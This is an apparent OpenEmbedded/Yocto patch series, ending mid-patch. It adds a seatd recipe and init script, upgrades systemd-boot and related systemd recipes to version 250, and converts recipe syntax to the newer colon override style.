diff --git a/meta/recipes-core/seatd/seatd/init b/meta/recipes-core/seatd/seatd/init
new file mode 100644
index 0000000000..0589c765ac
--- /dev/null
+++ b/meta/recipes-core/seatd/seatd/init
@@ -0,0 +1,45 @@
+#!/bin/sh
+#
+### BEGIN INIT INFO
+# Provides: seatd
+# Required-Start: $local_fs $remote_fs
+# Required-Stop: $local_fs $remote_fs
+# Default-Start: 2 3 4 5
+# Default-Stop: 0 1 6
+### END INIT INFO
+
+killproc() {
+ pid=`/bin/pidof $1`
+ [ "$pid" != "" ] && kill $pid
+}
+
+case "$1" in
+ start)
+ seatd -g video -n 1 > /tmp/seatd-start-notify &
+ [ -s /tmp/seatd-start-notify ] && exit 0
+ sleep 0.1
+ [ -s /tmp/seatd-start-notify ] && exit 0
+ sleep 0.5
+ [ -s /tmp/seatd-start-notify ] && exit 0
+ sleep 5
+ [ -s /tmp/seatd-start-notify ] && exit 0
+ exit 1
+ ;;
+
+ stop)
+ echo "Stopping seatd"
+ killproc seatd
+ ;;
+
+ restart)
+ $0 stop
+ sleep 1
+ $0 start
+ ;;
+
+ *)
+ echo "usage: $0 { start | stop | restart }"
+ ;;
+esac
+
+exit 0
diff --git a/meta/recipes-core/seatd/seatd_0.6.4.bb b/meta/recipes-core/seatd/seatd_0.6.4.bb
new file mode 100644
index 0000000000..a38f8c2152
--- /dev/null
+++ b/meta/recipes-core/seatd/seatd_0.6.4.bb
@@ -0,0 +1,32 @@
+SUMMARY = "A minimal seat management daemon, and a universal seat management library."
+DESCRIPTION = "Seat management takes care of mediating access to shared devices (graphics, input), without requiring the applications needing access to be root."
+HOMEPAGE = "https://git.sr.ht/~kennylevinsen/seatd"
+
+LICENSE = "MIT"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=715a99d2dd552e6188e74d4ed2914d5a"
+
+SRC_URI = "git://git.sr.ht/~kennylevinsen/seatd;protocol=https;nobranch=1 \
+ file://init"
+SRCREV = "df13d03f9cfd0dc0c2b3298cd0e5eb4e4a10835e"
+S = "${WORKDIR}/git"
+
+inherit meson pkgconfig update-rc.d
+
+PACKAGECONFIG ?= " \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)} \
+ libseat-builtin \
+"
+
+PACKAGECONFIG[libseat-builtin] = "-Dlibseat-builtin=enabled,-Dlibseat-builtin=disabled"
+PACKAGECONFIG[systemd] = ",,systemd"
+
+do_install:append() {
+ if [ "${VIRTUAL-RUNTIME_init_manager}" != "systemd" ]; then
+ install -Dm755 ${WORKDIR}/init ${D}/${sysconfdir}/init.d/seatd
+ fi
+}
+
+INITSCRIPT_NAME = "seatd"
+INITSCRIPT_PARAMS = "start 9 5 2 . stop 20 0 1 6 ."
+INHIBIT_UPDATERCD_BBCLASS = "${@oe.utils.conditional('VIRTUAL-RUNTIME_init_manager', 'systemd', '1', '', d)}"
diff --git a/meta/recipes-core/sysfsutils/sysfsutils_2.1.0.bb b/meta/recipes-core/sysfsutils/sysfsutils_2.1.0.bb
index f9f067dcad..c90a02f131 100644
--- a/meta/recipes-core/sysfsutils/sysfsutils_2.1.0.bb
+++ b/meta/recipes-core/sysfsutils/sysfsutils_2.1.0.bb
@@ -2,9 +2,9 @@ SUMMARY = "Tools for working with sysfs"
DESCRIPTION = "Tools for working with the sysfs virtual filesystem. The tool 'systool' can query devices by bus, class and topology."
HOMEPAGE = "http://linux-diag.sourceforge.net/Sysfsutils.html"
-LICENSE = "GPLv2 & LGPLv2.1"
-LICENSE_${PN} = "GPLv2"
-LICENSE_libsysfs = "LGPLv2.1"
+LICENSE = "GPL-2.0-only & LGPL-2.1-only"
+LICENSE:${PN} = "GPL-2.0-only"
+LICENSE:libsysfs = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=3d06403ea54c7574a9e581c6478cc393 \
file://cmd/GPL;md5=d41d4e2e1e108554e0388ea4aecd8d27 \
file://lib/LGPL;md5=b75d069791103ffe1c0d6435deeff72e"
@@ -26,8 +26,6 @@ S = "${WORKDIR}/sysfsutils-${PV}"
inherit autotools
PACKAGES =+ "libsysfs"
-FILES_libsysfs = "${libdir}/lib*${SOLIBS}"
-FILES_libsysfs-dev = "${libdir}/lib*${SOLIBSDEV} ${includedir}"
-FILES_libsysfs-staticdev = "${libdir}/lib*.a"
+FILES:libsysfs = "${libdir}/lib*${SOLIBS}"
export libdir = "${base_libdir}"
diff --git a/meta/recipes-core/systemd/systemd-boot_243.bb b/meta/recipes-core/systemd/systemd-boot_243.bb
deleted file mode 100644
index 515abc289b..0000000000
--- a/meta/recipes-core/systemd/systemd-boot_243.bb
+++ /dev/null
@@ -1,70 +0,0 @@
-require systemd.inc
-FILESEXTRAPATHS =. "${FILE_DIRNAME}/systemd:"
-
-require conf/image-uefi.conf
-
-DEPENDS = "intltool-native libcap util-linux gnu-efi gperf-native"
-
-# NOTE: These three patches are in theory not needed, but we haven't
-# figured out how to correctly pass efi-cc parameter if it's an array.
-SRC_URI += "file://0001-Revert-meson-use-an-array-option-for-efi-cc.patch \
- file://0001-Revert-meson-print-EFI-CC-configuration-nicely.patch \
- file://0001-Fix-to-run-efi_cc-and-efi_ld-correctly-when-cross-co.patch \
- file://0001-meson-Add-Defi-objcopy-option-to-specify-objcopy.patch \
- "
-
-inherit meson pkgconfig gettext
-inherit deploy
-
-EFI_CC ?= "${CC}"
-EXTRA_OEMESON += "-Defi=true \
- -Dgnu-efi=true \
- -Defi-includedir=${STAGING_INCDIR}/efi \
- -Defi-ldsdir=${STAGING_LIBDIR} \
- -Defi-libdir=${STAGING_LIBDIR} \
- -Dman=false \
- -Defi-cc='${EFI_CC}' \
- -Defi-ld='${LD}' \
- -Defi-objcopy='${OBJCOPY}' \
- "
-
-# install to the image as boot*.efi if its the EFI_PROVIDER,
-# otherwise install as the full name.
-# This allows multiple bootloaders to coexist in a single image.
-python __anonymous () {
- import re
- target = d.getVar('TARGET_ARCH')
- prefix = "" if d.getVar('EFI_PROVIDER') == "systemd-boot" else "systemd-"
- systemdimage = prefix + d.getVar("EFI_BOOT_IMAGE")
- d.setVar("SYSTEMD_BOOT_IMAGE", systemdimage)
- prefix = "systemd-" if prefix == "" else ""
- d.setVar("SYSTEMD_BOOT_IMAGE_PREFIX", prefix)
-}
-
-FILES_${PN} = "${EFI_FILES_PATH}/${SYSTEMD_BOOT_IMAGE}"
-
-RDEPENDS_${PN} += "virtual/systemd-bootconf"
-
-# Imported from the old gummiboot recipe
-TUNE_CCARGS_remove = "-mfpmath=sse"
-COMPATIBLE_HOST = "(x86_64.*|i.86.*)-linux"
-COMPATIBLE_HOST_x86-x32 = "null"
-
-do_compile() {
- SYSTEMD_BOOT_EFI_ARCH="ia32"
- if [ "${TARGET_ARCH}" = "x86_64" ]; then
- SYSTEMD_BOOT_EFI_ARCH="x64"
- fi
-
- ninja src/boot/efi/${SYSTEMD_BOOT_IMAGE_PREFIX}${SYSTEMD_BOOT_IMAGE}
-}
-
-do_install() {
- install -d ${D}${EFI_FILES_PATH}
- install ${B}/src/boot/efi/systemd-boot*.efi ${D}${EFI_FILES_PATH}/${SYSTEMD_BOOT_IMAGE}
-}
-
-do_deploy () {
- install ${B}/src/boot/efi/systemd-boot*.efi ${DEPLOYDIR}
-}
-addtask deploy before do_build after do_compile
diff --git a/meta/recipes-core/systemd/systemd-boot_250.4.bb b/meta/recipes-core/systemd/systemd-boot_250.4.bb
new file mode 100644
index 0000000000..23a64bf30d
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd-boot_250.4.bb
@@ -0,0 +1,74 @@
+require systemd.inc
+FILESEXTRAPATHS =. "${FILE_DIRNAME}/systemd:"
+
+require conf/image-uefi.conf
+
+DEPENDS = "intltool-native libcap util-linux gnu-efi gperf-native python3-jinja2-native"
+
+inherit meson pkgconfig gettext
+inherit deploy
+
+LDFLAGS:prepend = "${@ " ".join(d.getVar('LD').split()[1:])} "
+
+do_write_config[vardeps] += "CC OBJCOPY"
+do_write_config:append() {
+ cat >${WORKDIR}/meson-${PN}.cross <<EOF
+[binaries]
+efi_cc = ${@meson_array('CC', d)}
+objcopy = ${@meson_array('OBJCOPY', d)}
+EOF
+}
+
+# need to use ${HOST_PREFIX} here, otherwise ld.bfd could be used from HOSTTOOLS_NONFATAL
+EFI_LD = "bfd"
+
+EXTRA_OEMESON += "-Defi=true \
+ -Dgnu-efi=true \
+ -Defi-includedir=${STAGING_INCDIR}/efi \
+ -Defi-libdir=${STAGING_LIBDIR} \
+ -Defi-ld=${EFI_LD} \
+ -Dman=false \
+ --cross-file ${WORKDIR}/meson-${PN}.cross \
+ "
+
+# install to the image as boot*.efi if its the EFI_PROVIDER,
+# otherwise install as the full name.
+# This allows multiple bootloaders to coexist in a single image.
+python __anonymous () {
+ import re
+ target = d.getVar('TARGET_ARCH')
+ prefix = "" if d.getVar('EFI_PROVIDER') == "systemd-boot" else "systemd-"
+ systemdimage = prefix + d.getVar("EFI_BOOT_IMAGE")
+ d.setVar("SYSTEMD_BOOT_IMAGE", systemdimage)
+ prefix = "systemd-" if prefix == "" else ""
+ d.setVar("SYSTEMD_BOOT_IMAGE_PREFIX", prefix)
+}
+
+FILES:${PN} = "${EFI_FILES_PATH}/${SYSTEMD_BOOT_IMAGE}"
+
+RDEPENDS:${PN} += "virtual-systemd-bootconf"
+
+# Imported from the old gummiboot recipe
+TUNE_CCARGS:remove = "-mfpmath=sse"
+
+COMPATIBLE_HOST = "(aarch64.*|arm.*|x86_64.*|i.86.*)-linux"
+COMPATIBLE_HOST:x86-x32 = "null"
+
+do_compile() {
+ ninja \
+ src/boot/efi/${SYSTEMD_BOOT_IMAGE_PREFIX}${SYSTEMD_BOOT_IMAGE} \
+ src/boot/efi/linux${EFI_ARCH}.efi.stub
+}
+
+do_install() {
+ install -d ${D}${EFI_FILES_PATH}
+ install ${B}/src/boot/efi/systemd-boot*.efi ${D}${EFI_FILES_PATH}/${SYSTEMD_BOOT_IMAGE}
+}
+
+do_deploy () {
+ install ${B}/src/boot/efi/systemd-boot*.efi ${DEPLOYDIR}
+ install ${B}/src/boot/efi/linux*.efi.stub ${DEPLOYDIR}
+}
+
+addtask deploy before do_build after do_compile
+
diff --git a/meta/recipes-core/systemd/systemd-bootconf_1.00.bb b/meta/recipes-core/systemd/systemd-bootconf_1.00.bb
index d13b8c518f..19637546a9 100644
--- a/meta/recipes-core/systemd/systemd-bootconf_1.00.bb
+++ b/meta/recipes-core/systemd/systemd-bootconf_1.00.bb
@@ -2,7 +2,7 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
SUMMARY = "Basic systemd-boot configuration files"
-RPROVIDES_${PN} += "virtual/systemd-bootconf"
+RPROVIDES:${PN} += "virtual-systemd-bootconf"
PACKAGE_ARCH = "${MACHINE_ARCH}"
inherit systemd-boot-cfg
@@ -12,7 +12,7 @@ S = "${WORKDIR}"
LABELS = "boot"
ROOT ?= "root=/dev/sda2"
-APPEND_append = " ${ROOT}"
+APPEND:append = " ${ROOT}"
python do_configure() {
bb.build.exec_func('build_efi_cfg', d)
@@ -29,4 +29,4 @@ do_install() {
install *.conf ${D}/boot/loader/entries/
}
-FILES_${PN} = "/boot/loader/* /boot/loader/entries/*"
+FILES:${PN} = "/boot/loader/* /boot/loader/entries/*"
diff --git a/meta/recipes-core/systemd/systemd-compat-units.bb b/meta/recipes-core/systemd/systemd-compat-units.bb
index d228a51c19..55ebf99117 100644
--- a/meta/recipes-core/systemd/systemd-compat-units.bb
+++ b/meta/recipes-core/systemd/systemd-compat-units.bb
@@ -8,9 +8,11 @@ PACKAGE_WRITE_DEPS += "systemd-systemctl-native"
S = "${WORKDIR}"
-inherit distro_features_check
+inherit features_check
-ALLOW_EMPTY_${PN} = "1"
+INHIBIT_DEFAULT_DEPS = "1"
+
+ALLOW_EMPTY:${PN} = "1"
REQUIRED_DISTRO_FEATURES = "systemd"
@@ -23,7 +25,7 @@ SYSTEMD_DISABLED_SYSV_SERVICES = " \
syslog.busybox \
"
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
cd $D${sysconfdir}/init.d || exit 0
@@ -36,7 +38,7 @@ pkg_postinst_${PN} () {
fi
for i in ${SYSTEMD_DISABLED_SYSV_SERVICES} ; do
- if [ -e $i -o -e $i.sh ] && ! [ -e $D${sysconfdir}/systemd/system/$i.service -o -e $D${systemd_unitdir}/system/$i.service ] ; then
+ if [ -e $i -o -e $i.sh ] && ! [ -e $D${sysconfdir}/systemd/system/$i.service -o -e $D${systemd_system_unitdir}/$i.service ] ; then
echo -n "$i: "
systemctl $OPTS mask $i.service
fi
@@ -44,4 +46,4 @@ pkg_postinst_${PN} () {
echo
}
-RDEPENDS_${PN} = "systemd"
+RDEPENDS:${PN} = "systemd"
diff --git a/meta/recipes-core/systemd/systemd-conf/wired.network b/meta/recipes-core/systemd/systemd-conf/wired.network
index ff807ba31f..7406287248 100644
--- a/meta/recipes-core/systemd/systemd-conf/wired.network
+++ b/meta/recipes-core/systemd/systemd-conf/wired.network
@@ -1,10 +1,13 @@
[Match]
-Name=en* eth*
+Type=ether
+Name=!veth*
KernelCommandLine=!nfsroot
+KernelCommandLine=!ip
[Network]
DHCP=yes
[DHCP]
+UseMTU=yes
RouteMetric=10
ClientIdentifier=mac
diff --git a/meta/recipes-core/systemd/systemd-conf_1.0.bb b/meta/recipes-core/systemd/systemd-conf_1.0.bb
new file mode 100644
index 0000000000..61ce7939d3
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd-conf_1.0.bb
@@ -0,0 +1,43 @@
+SUMMARY = "Systemd system configuration"
+DESCRIPTION = "Systemd may require slightly different configuration for \
+different machines. For example, qemu machines require a longer \
+DefaultTimeoutStartSec setting."
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
+
+PE = "1"
+
+PACKAGECONFIG ??= "dhcp-ethernet"
+PACKAGECONFIG[dhcp-ethernet] = ""
+
+SRC_URI = "\
+ file://journald.conf \
+ file://logind.conf \
+ file://system.conf \
+ file://system.conf-qemuall \
+ file://wired.network \
+"
+
+do_install() {
+ install -D -m0644 ${WORKDIR}/journald.conf ${D}${systemd_unitdir}/journald.conf.d/00-${PN}.conf
+ install -D -m0644 ${WORKDIR}/logind.conf ${D}${systemd_unitdir}/logind.conf.d/00-${PN}.conf
+ install -D -m0644 ${WORKDIR}/system.conf ${D}${systemd_unitdir}/system.conf.d/00-${PN}.conf
+
+ if ${@bb.utils.contains('PACKAGECONFIG', 'dhcp-ethernet', 'true', 'false', d)}; then
+ install -D -m0644 ${WORKDIR}/wired.network ${D}${systemd_unitdir}/network/80-wired.network
+ fi
+}
+
+# Based on change from YP bug 8141, OE commit 5196d7bacaef1076c361adaa2867be31759c1b52
+do_install:append:qemuall() {
+ install -D -m0644 ${WORKDIR}/system.conf-qemuall ${D}${systemd_unitdir}/system.conf.d/01-${PN}.conf
+}
+
+PACKAGE_ARCH = "${MACHINE_ARCH}"
+
+FILES:${PN} = "\
+ ${systemd_unitdir}/journald.conf.d/ \
+ ${systemd_unitdir}/logind.conf.d/ \
+ ${systemd_unitdir}/system.conf.d/ \
+ ${systemd_unitdir}/network/ \
+"
diff --git a/meta/recipes-core/systemd/systemd-conf_243.bb b/meta/recipes-core/systemd/systemd-conf_243.bb
deleted file mode 100644
index d9ec023bfd..0000000000
--- a/meta/recipes-core/systemd/systemd-conf_243.bb
+++ /dev/null
@@ -1,38 +0,0 @@
-SUMMARY = "Systemd system configuration"
-DESCRIPTION = "Systemd may require slightly different configuration for \
-different machines. For example, qemu machines require a longer \
-DefaultTimeoutStartSec setting."
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-
-SRC_URI = "\
- file://journald.conf \
- file://logind.conf \
- file://system.conf \
- file://system.conf-qemuall \
- file://wired.network \
-"
-
-do_install() {
- install -D -m0644 ${WORKDIR}/journald.conf ${D}${systemd_unitdir}/journald.conf.d/00-${PN}.conf
- install -D -m0644 ${WORKDIR}/logind.conf ${D}${systemd_unitdir}/logind.conf.d/00-${PN}.conf
- install -D -m0644 ${WORKDIR}/system.conf ${D}${systemd_unitdir}/system.conf.d/00-${PN}.conf
- install -D -m0644 ${WORKDIR}/wired.network ${D}${systemd_unitdir}/network/80-wired.network
-}
-
-# Based on change from YP bug 8141, OE commit 5196d7bacaef1076c361adaa2867be31759c1b52
-do_install_append_qemuall() {
- install -D -m0644 ${WORKDIR}/system.conf-qemuall ${D}${systemd_unitdir}/system.conf.d/01-${PN}.conf
-
- # Do not install wired.network for qemu bsps
- rm -rf ${D}${systemd_unitdir}/network
-}
-
-PACKAGE_ARCH = "${MACHINE_ARCH}"
-
-FILES_${PN} = "\
- ${systemd_unitdir}/journald.conf.d/ \
- ${systemd_unitdir}/logind.conf.d/ \
- ${systemd_unitdir}/system.conf.d/ \
- ${systemd_unitdir}/network/ \
-"
diff --git a/meta/recipes-core/systemd/systemd-machine-units_1.0.bb b/meta/recipes-core/systemd/systemd-machine-units_1.0.bb
index 02756f43d7..12f27d6ae3 100644
--- a/meta/recipes-core/systemd/systemd-machine-units_1.0.bb
+++ b/meta/recipes-core/systemd/systemd-machine-units_1.0.bb
@@ -8,6 +8,6 @@ PACKAGE_ARCH = "${MACHINE_ARCH}"
PR = "r19"
inherit systemd
-SYSTEMD_SERVICE_${PN} = ""
+SYSTEMD_SERVICE:${PN} = ""
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
diff --git a/meta/recipes-core/systemd/systemd-serialgetty.bb b/meta/recipes-core/systemd/systemd-serialgetty.bb
index 65a931f418..fd888bb834 100644
--- a/meta/recipes-core/systemd/systemd-serialgetty.bb
+++ b/meta/recipes-core/systemd/systemd-serialgetty.bb
@@ -1,27 +1,29 @@
SUMMARY = "Serial terminal support for systemd"
HOMEPAGE = "https://www.freedesktop.org/wiki/Software/systemd/"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6"
PR = "r5"
SERIAL_CONSOLES ?= "115200;ttyS0"
+SERIAL_TERM ?= "linux"
SRC_URI = "file://serial-getty@.service"
S = "${WORKDIR}"
# As this package is tied to systemd, only build it when we're also building systemd.
-inherit distro_features_check
+inherit features_check
REQUIRED_DISTRO_FEATURES = "systemd"
do_install() {
if [ ! -z "${SERIAL_CONSOLES}" ] ; then
default_baudrate=`echo "${SERIAL_CONSOLES}" | sed 's/\;.*//'`
- install -d ${D}${systemd_unitdir}/system/
+ install -d ${D}${systemd_system_unitdir}/
install -d ${D}${sysconfdir}/systemd/system/getty.target.wants/
- install -m 0644 ${WORKDIR}/serial-getty@.service ${D}${systemd_unitdir}/system/
- sed -i -e s/\@BAUDRATE\@/$default_baudrate/g ${D}${systemd_unitdir}/system/serial-getty@.service
+ install -m 0644 ${WORKDIR}/serial-getty@.service ${D}${systemd_system_unitdir}/
+ sed -i -e "s/\@BAUDRATE\@/$default_baudrate/g" ${D}${systemd_system_unitdir}/serial-getty@.service
+ sed -i -e "s/\@TERM\@/${SERIAL_TERM}/g" ${D}${systemd_system_unitdir}/serial-getty@.service
tmp="${SERIAL_CONSOLES}"
for entry in $tmp ; do
@@ -29,14 +31,14 @@ do_install() {
ttydev=`echo $entry | sed -e 's/^[0-9]*\;//' -e 's/\;.*//'`
if [ "$baudrate" = "$default_baudrate" ] ; then
# enable the service
- ln -sf ${systemd_unitdir}/system/serial-getty@.service \
+ ln -sf ${systemd_system_unitdir}/serial-getty@.service \
${D}${sysconfdir}/systemd/system/getty.target.wants/serial-getty@$ttydev.service
else
# install custom service file for the non-default baudrate
- install -m 0644 ${WORKDIR}/serial-getty@.service ${D}${systemd_unitdir}/system/serial-getty$baudrate@.service
- sed -i -e s/\@BAUDRATE\@/$baudrate/g ${D}${systemd_unitdir}/system/serial-getty$baudrate@.service
+ install -m 0644 ${WORKDIR}/serial-getty@.service ${D}${systemd_system_unitdir}/serial-getty$baudrate@.service
+ sed -i -e "s/\@BAUDRATE\@/$baudrate/g" ${D}${systemd_system_unitdir}/serial-getty$baudrate@.service
# enable the service
- ln -sf ${systemd_unitdir}/system/serial-getty$baudrate@.service \
+ ln -sf ${systemd_system_unitdir}/serial-getty$baudrate@.service \
${D}${sysconfdir}/systemd/system/getty.target.wants/serial-getty$baudrate@$ttydev.service
fi
done
@@ -44,7 +46,7 @@ do_install() {
}
# This is a machine specific file
-FILES_${PN} = "${systemd_unitdir}/system/*.service ${sysconfdir}"
+FILES:${PN} = "${systemd_system_unitdir}/*.service ${sysconfdir}"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
diff --git a/meta/recipes-core/systemd/systemd-serialgetty/serial-getty@.service b/meta/recipes-core/systemd/systemd-serialgetty/serial-getty@.service
index 15af16a9f8..b16fe1188e 100644
--- a/meta/recipes-core/systemd/systemd-serialgetty/serial-getty@.service
+++ b/meta/recipes-core/systemd/systemd-serialgetty/serial-getty@.service
@@ -1,3 +1,5 @@
+# SPDX-License-Identifier: LGPL-2.1+
+#
# This file is part of systemd.
#
# systemd is free software; you can redistribute it and/or modify it
@@ -11,7 +13,7 @@ Documentation=man:agetty(8) man:systemd-getty-generator(8)
Documentation=http://0pointer.de/blog/projects/serial-console.html
PartOf=dev-%i.device
ConditionPathExists=/dev/%i
-After=dev-%i.device systemd-user-sessions.service plymouth-quit-wait.service
+After=dev-%i.device systemd-user-sessions.service plymouth-quit-wait.service getty-pre.target
After=rc-local.service
# If additional gettys are spawned during boot then we should make
@@ -20,12 +22,17 @@ After=rc-local.service
Before=getty.target
IgnoreOnIsolate=yes
+# IgnoreOnIsolate causes issues with sulogin, if someone isolates
+# rescue.target or starts rescue.service from multi-user.target or
+# graphical.target.
+Conflicts=rescue.service
+Before=rescue.service
+
[Service]
-Environment="TERM=xterm"
+Environment="TERM=@TERM@"
ExecStart=-/sbin/agetty -8 -L %I @BAUDRATE@ $TERM
Type=idle
Restart=always
-RestartSec=0
UtmpIdentifier=%I
TTYPath=/dev/%I
TTYReset=yes
diff --git a/meta/recipes-core/systemd/systemd-systemctl/systemctl b/meta/recipes-core/systemd/systemd-systemctl/systemctl
index ebac863739..6324319a45 100755
--- a/meta/recipes-core/systemd/systemd-systemctl/systemctl
+++ b/meta/recipes-core/systemd/systemd-systemctl/systemctl
@@ -160,7 +160,9 @@ def add_link(path, target):
class SystemdUnitNotFoundError(Exception):
- pass
+ def __init__(self, path, unit):
+ self.path = path
+ self.unit = unit
class SystemdUnit():
@@ -172,7 +174,7 @@ class SystemdUnit():
def _path_for_unit(self, unit):
for location in locations:
path = self.root / location / "system" / unit
- if path.exists():
+ if path.exists() or path.is_symlink():
return path
raise SystemdUnitNotFoundError(self.root, unit)
@@ -189,7 +191,7 @@ class SystemdUnit():
except KeyError:
pass
- def enable(self):
+ def enable(self, caller_unit=None):
# if we're enabling an instance, first extract the actual instance
# then figure out what the template unit is
template = re.match(r"[^@]+@(?P<instance>[^\.]*)\.", self.unit)
@@ -224,7 +226,11 @@ class SystemdUnit():
try:
for also in config.get('Install', 'Also'):
- SystemdUnit(self.root, also).enable()
+ try:
+ if caller_unit != also:
+ SystemdUnit(self.root, also).enable(unit)
+ except SystemdUnitNotFoundError as e:
+ sys.exit("Error: Systemctl also enable issue with %s (%s)" % (service, e.unit))
except KeyError:
pass
@@ -265,7 +271,10 @@ def preset_all(root):
state = presets.state(service)
if state == "enable" or state is None:
- SystemdUnit(root, service).enable()
+ try:
+ SystemdUnit(root, service).enable()
+ except SystemdUnitNotFoundError:
+ sys.exit("Error: Systemctl preset_all issue in %s" % service)
# If we populate the systemd links we also create /etc/machine-id, which
# allows systemd to boot with the filesystem read-only before generating
@@ -282,7 +291,7 @@ def main():
sys.exit("Python 3.4 or greater is required")
parser = argparse.ArgumentParser()
- parser.add_argument('command', nargs=1, choices=['enable', 'mask',
+ parser.add_argument('command', nargs='?', choices=['enable', 'mask',
'preset-all'])
parser.add_argument('service', nargs=argparse.REMAINDER)
parser.add_argument('--root')
@@ -300,13 +309,23 @@ def main():
locations.append(BASE_LIBDIR / "systemd")
locations.append(LIBDIR / "systemd")
- command = args.command[0]
+ command = args.command
+ if not command:
+ parser.print_help()
+ return 0
+
if command == "mask":
for service in args.service:
- SystemdUnit(root, service).mask()
+ try:
+ SystemdUnit(root, service).mask()
+ except SystemdUnitNotFoundError as e:
+ sys.exit("Error: Systemctl main mask issue in %s (%s)" % (service, e.unit))
elif command == "enable":
for service in args.service:
- SystemdUnit(root, service).enable()
+ try:
+ SystemdUnit(root, service).enable()
+ except SystemdUnitNotFoundError as e:
+ sys.exit("Error: Systemctl main enable issue in %s (%s)" % (service, e.unit))
elif command == "preset-all":
if len(args.service) != 0:
sys.exit("Too many arguments.")
diff --git a/meta/recipes-core/systemd/systemd.inc b/meta/recipes-core/systemd/systemd.inc
index 7f3a59c208..ac454b8afd 100644
--- a/meta/recipes-core/systemd/systemd.inc
+++ b/meta/recipes-core/systemd/systemd.inc
@@ -10,14 +10,12 @@ state, maintains mount and automount points and implements an \
elaborate transactional dependency-based service control logic. It can \
work as a drop-in replacement for sysvinit."
-LICENSE = "GPLv2 & LGPLv2.1"
+LICENSE = "GPL-2.0-only & LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://LICENSE.GPL2;md5=751419260aa954499f7abaabaa882bbe \
file://LICENSE.LGPL2.1;md5=4fbd65380cdd255951079008b364516c"
-SRCREV = "efb536d0cbe2e58f80e501d19999928c75e08f6a"
-SRCBRANCH = "v243-stable"
-SRC_URI = "git://github.com/systemd/systemd-stable.git;protocol=git;branch=${SRCBRANCH}"
+SRCREV = "c3aead556847dd2694d559620123b65ff16afe8c"
+SRCBRANCH = "v250-stable"
+SRC_URI = "git://github.com/systemd/systemd-stable.git;protocol=https;branch=${SRCBRANCH}"
S = "${WORKDIR}/git"
-
-PV_append = "+${SRCPV}"
diff --git a/meta/recipes-core/systemd/systemd/00-hostnamed-network-user.conf b/meta/recipes-core/systemd/systemd/00-hostnamed-network-user.conf
new file mode 100644
index 0000000000..6b224ba9b9
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/00-hostnamed-network-user.conf
@@ -0,0 +1,6 @@
+[Service]
+# By running with these options instead of root, networkd is allowed to request
+# a hostname change via DBUS when policykit is not present
+User=systemd-network
+Group=systemd-hostname
+AmbientCapabilities=CAP_SYS_ADMIN
diff --git a/meta/recipes-core/systemd/systemd/0001-Adjust-for-musl-headers.patch b/meta/recipes-core/systemd/systemd/0001-Adjust-for-musl-headers.patch
new file mode 100644
index 0000000000..2363679c98
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0001-Adjust-for-musl-headers.patch
@@ -0,0 +1,453 @@
+From 4c2e932664ec67662f4a0306cca4a7cd82853bda Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 21 Jan 2022 22:19:37 -0800
+Subject: [PATCH] Adjust for musl headers
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/libsystemd-network/sd-dhcp6-client.c | 2 +-
+ src/network/netdev/bareudp.c | 2 +-
+ src/network/netdev/batadv.c | 2 +-
+ src/network/netdev/bond.c | 2 +-
+ src/network/netdev/bridge.c | 2 +-
+ src/network/netdev/dummy.c | 2 +-
+ src/network/netdev/geneve.c | 2 +-
+ src/network/netdev/ifb.c | 2 +-
+ src/network/netdev/ipoib.c | 2 +-
+ src/network/netdev/ipvlan.c | 2 +-
+ src/network/netdev/macsec.c | 2 +-
+ src/network/netdev/macvlan.c | 2 +-
+ src/network/netdev/netdev.c | 2 +-
+ src/network/netdev/netdevsim.c | 2 +-
+ src/network/netdev/nlmon.c | 2 +-
+ src/network/netdev/tunnel.c | 2 +-
+ src/network/netdev/vcan.c | 2 +-
+ src/network/netdev/veth.c | 2 +-
+ src/network/netdev/vlan.c | 2 +-
+ src/network/netdev/vrf.c | 2 +-
+ src/network/netdev/vxcan.c | 2 +-
+ src/network/netdev/vxlan.c | 2 +-
+ src/network/netdev/xfrm.c | 2 +-
+ src/network/networkd-bridge-mdb.c | 4 ++--
+ src/network/networkd-dhcp-common.c | 3 ++-
+ src/network/networkd-dhcp-prefix-delegation.c | 4 ++--
+ src/network/networkd-dhcp-server.c | 2 +-
+ src/network/networkd-dhcp4.c | 2 +-
+ src/network/networkd-link.c | 2 +-
+ src/network/networkd-route.c | 8 ++++----
+ src/network/networkd-setlink.c | 2 +-
+ src/shared/linux/ethtool.h | 3 ++-
+ src/shared/netif-util.c | 2 +-
+ src/udev/udev-builtin-net_id.c | 2 +-
+ 34 files changed, 41 insertions(+), 39 deletions(-)
+
+--- a/src/libsystemd-network/sd-dhcp6-client.c
++++ b/src/libsystemd-network/sd-dhcp6-client.c
+@@ -5,7 +5,7 @@
+
+ #include <errno.h>
+ #include <sys/ioctl.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/if_infiniband.h>
+
+ #include "sd-dhcp6-client.h"
+--- a/src/network/netdev/bareudp.c
++++ b/src/network/netdev/bareudp.c
+@@ -2,7 +2,7 @@
+ * Copyright © 2020 VMware, Inc. */
+
